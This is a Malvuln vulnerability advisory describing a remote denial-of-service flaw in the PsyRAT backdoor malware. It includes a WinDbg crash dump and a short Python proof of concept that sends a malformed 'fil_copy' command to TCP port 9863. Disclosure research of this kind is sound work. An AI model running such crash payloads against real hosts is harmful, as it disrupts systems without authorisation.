Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.PsyRat.b Vulnerability: Remote Denial of Service Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash. Type: PE32 MD5: 5817183894cb513239f6aef28895130c Vuln ID: MVID-2021-0307 Dropped files: server.exe Disclosure: 07/26/2021 Memory Dump: (f38.160c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003 eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!NtWaitForMultipleObjects+0xc: 77e5ed3c c21400 ret 14h 0:001> .ecxr eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04 eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ntdll!RtlInitAnsiStringEx+0x1a: 77e4f80a 8a01 mov al,byte ptr [ecx] ds:002b:00000001=?? *** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll - 0:001> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for server.exe *** ERROR: Module load completed but symbols could not be loaded for server.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: ntdll!RtlInitAnsiStringEx+1a 77e4f80a 8a01 mov al,byte ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000001 Attempt to read from address 00000001 PROCESS_NAME: server.exe ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. MODULE_NAME: server FAULTING_MODULE: 77df0000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 42827767 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000001 READ_ADDRESS: 00000001 FOLLOWUP_IP: server+268d 0040268d e9aaf1ffff jmp server+0x183c (0040183c) MOD_LIST: FAULTING_THREAD: 0000160c BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT LAST_CONTROL_TRANSFER: from 74c615ff to 77e4f80a STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a 0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f 0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25 0277c550 0277c904 00000001 00000000 00401610 server+0x268d 0277c554 00000000 00000000 00401610 00401610 0x277c904 STACK_COMMAND: ~1s; .ecxr ; kb SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: server+268d FOLLOWUP_NAME: MachineOwner IMAGE_NAME: server.exe BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=9863 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send("\r\n") time.sleep(0.3) s.send("\r\n") time.sleep(0.3) PAYLOAD="fil_copy AAAA" s.send(PAYLOAD) s.close() print("Backdoor.Win32.PsyRat.b / Remote Denial of Service") print("MD5: 5817183894cb513239f6aef28895130c") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).